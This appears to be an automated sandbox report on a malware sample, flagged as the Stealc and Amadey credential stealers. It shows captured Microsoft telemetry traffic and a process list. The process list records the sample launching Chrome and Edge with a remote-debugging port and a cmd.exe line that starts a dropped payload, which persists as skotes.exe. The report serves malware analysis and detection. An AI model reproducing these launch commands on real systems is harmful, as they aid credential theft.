Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
143	192.168.2.6	62194	13.107.246.57	443	6924	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 12:35:37 UTC	431	OUT	GET /assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-12 12:35:38 UTC	536	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 12:35:37 GMT Content-Type: image/png Content-Length: 1468 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:14 GMT ETag: 0x8DBDCB5E23DFC43 x-ms-request-id: 174c0071-f01e-003d-08a2-34dd21000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241112T123537Z-16547b76f7f7rtshhC1DFWrtqn0000000fp0000000007mqw Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 12:35:38 UTC	1468	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 51 49 44 41 54 78 01 ed 97 4b 6c 54 55 18 c7 ff e7 4e 19 62 da e0 b0 a1 01 03 5c 82 51 7c 52 16 1a 6d 6b 42 57 c4 c7 c2 2e 8c 26 24 46 62 44 17 26 b4 04 62 5c a0 ad 1a 63 dc c8 82 85 89 26 b4 09 68 89 1a a7 18 79 24 1a c6 05 75 41 02 17 19 23 46 03 13 10 4a 35 c8 50 fa 9a b9 f7 9c cf ef 3c ee 74 a6 96 76 da a6 2b e6 4b 4f ef cc b9 e7 9e ef 77 ff df e3 de 01 6a 56 b3 9a d5 ec ce 36 81 45 b6 cd 67 28 85 89 89 14 22 f8 20 e9 4b 0f 29 41 22 25 3c ac 85 42 8a a4 f2 a9 a8 52 8d e1 c5 d4 d5 70 75 3e 49 de a6 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaQIDATxKlTUNb\Q\|RmkBW.&$FbD&b\c&hy$uA#FJ5P<tv+KOwjV6Eg(" K)A"%<BRpu>I

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.6	62195	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 12:35:38 UTC	192	OUT	GET /rules/rule702751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 12:35:38 UTC	517	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 12:35:38 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB866CDB" x-ms-request-id: 1deecc73-401e-0029-32d2-2c9b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T123538Z-16547b76f7fdf69shC1DFWcpd00000000fe000000000e8k1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 12:35:38 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.6	62196	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 12:35:38 UTC	192	OUT	GET /rules/rule702750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 12:35:38 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 12:35:38 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE5B7B174" x-ms-request-id: f42d05d4-d01e-0014-06a7-34ed58000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T123538Z-17df447cdb5xwzjjhC1DFWz7vs00000000xg00000000e4ss x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 12:35:38 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 75 62 6c 69 73 68 65 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPublisher" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.6	62197	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 12:35:38 UTC	192	OUT	GET /rules/rule702301v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 12:35:38 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 12:35:38 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:00 GMT ETag: "0x8DC582BE976026E" x-ms-request-id: 61349519-801e-008f-3bad-342c5d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T123538Z-17df447cdb5zfhrmhC1DFWh3300000000c1g0000000009q5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 12:35:38 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702301" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPr

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.6	62198	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 12:35:38 UTC	192	OUT	GET /rules/rule702300v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 12:35:38 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 12:35:38 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDC13EFEF" x-ms-request-id: 03abd1ad-801e-007b-06a7-34e7ab000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T123538Z-17df447cdb5w28bthC1DFWgb640000000bk000000000bt2a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 12:35:38 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 6a 65 63 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702300" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProject" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.6	62199	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 12:35:38 UTC	192	OUT	GET /rules/rule703401v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 12:35:38 UTC	517	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 12:35:38 GMT Content-Type: text/xml Content-Length: 1425 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6BD89A1" x-ms-request-id: 8f5c374f-101e-0046-61d2-2c91b0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T123538Z-16547b76f7fdtmzhhC1DFW6zhc00000004f0000000008pnd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 12:35:38 UTC	1425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703401" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexus

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.6	62201	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 12:35:39 UTC	192	OUT	GET /rules/rule703400v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 12:35:39 UTC	517	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 12:35:39 GMT Content-Type: text/xml Content-Length: 1388 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDBD9126E" x-ms-request-id: 9bdc8c39-b01e-003d-1ed2-2cd32c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T123539Z-16547b76f7f7lhvnhC1DFWa2k00000000fn0000000001t9w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 12:35:39 UTC	1388	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 53 3d 22 4d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703400" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammableSurfaces" S="M

Target ID:	0
Start time:	07:35:03
Start date:	12/11/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x5b0000
File size:	1'782'784 bytes
MD5 hash:	5A2241AE692A1A1563AFD21574DCF238
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.2619339487.000000000067C000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.2134993992.0000000004F60000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2625469567.00000000012AE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2619339487.00000000005B1000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	07:35:13
Start date:	12/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	07:35:14
Start date:	12/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2408 --field-trial-handle=2020,i,2579233296112613996,7576974820775269714,262144 /prefetch:8
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	07:35:23
Start date:	12/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	07:35:23
Start date:	12/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2532 --field-trial-handle=2368,i,8315494591185384419,3277572729580263378,262144 /prefetch:3
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	07:35:24
Start date:	12/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	07:35:24
Start date:	12/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2548 --field-trial-handle=2536,i,717750146961907579,3352193052425683844,262144 /prefetch:3
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	14
Start time:	07:35:29
Start date:	12/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=6132 --field-trial-handle=2536,i,717750146961907579,3352193052425683844,262144 /prefetch:8
Imagebase:	0x7ff6f2da0000
File size:	1'255'976 bytes
MD5 hash:	F8CEC3E43A6305AC9BA3700131594306
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	07:35:29
Start date:	12/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=6132 --field-trial-handle=2536,i,717750146961907579,3352193052425683844,262144 /prefetch:8
Imagebase:	0x7ff6f2da0000
File size:	1'255'976 bytes
MD5 hash:	F8CEC3E43A6305AC9BA3700131594306
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	07:35:29
Start date:	12/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=7124 --field-trial-handle=2536,i,717750146961907579,3352193052425683844,262144 /prefetch:8
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	07:35:29
Start date:	12/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=7284 --field-trial-handle=2536,i,717750146961907579,3352193052425683844,262144 /prefetch:8
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	07:35:51
Start date:	12/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsCBAKJEHDBG.exe"
Imagebase:	0x1c0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	07:35:51
Start date:	12/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	07:35:51
Start date:	12/11/2024
Path:	C:\Users\user\DocumentsCBAKJEHDBG.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\DocumentsCBAKJEHDBG.exe"
Imagebase:	0xe40000
File size:	3'224'064 bytes
MD5 hash:	D2BB2A25108B9A225C896FD5C0E469C0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000016.00000002.2651768061.0000000000E41000.00000040.00000001.01000000.0000000B.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	07:35:53
Start date:	12/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0xc30000
File size:	3'224'064 bytes
MD5 hash:	D2BB2A25108B9A225C896FD5C0E469C0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000017.00000002.2672523079.0000000000C31000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	07:35:53
Start date:	12/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0xc30000
File size:	3'224'064 bytes
MD5 hash:	D2BB2A25108B9A225C896FD5C0E469C0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000018.00000002.2672723810.0000000000C31000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	07:36:00
Start date:	12/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0xc30000
File size:	3'224'064 bytes
MD5 hash:	D2BB2A25108B9A225C896FD5C0E469C0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	26
Start time:	07:36:12
Start date:	12/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1005746001\80b5f835af.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1005746001\80b5f835af.exe"
Imagebase:	0x5f0000
File size:	1'782'784 bytes
MD5 hash:	5A2241AE692A1A1563AFD21574DCF238
Has elevated privileges:	true
Has administrator privileges:	true
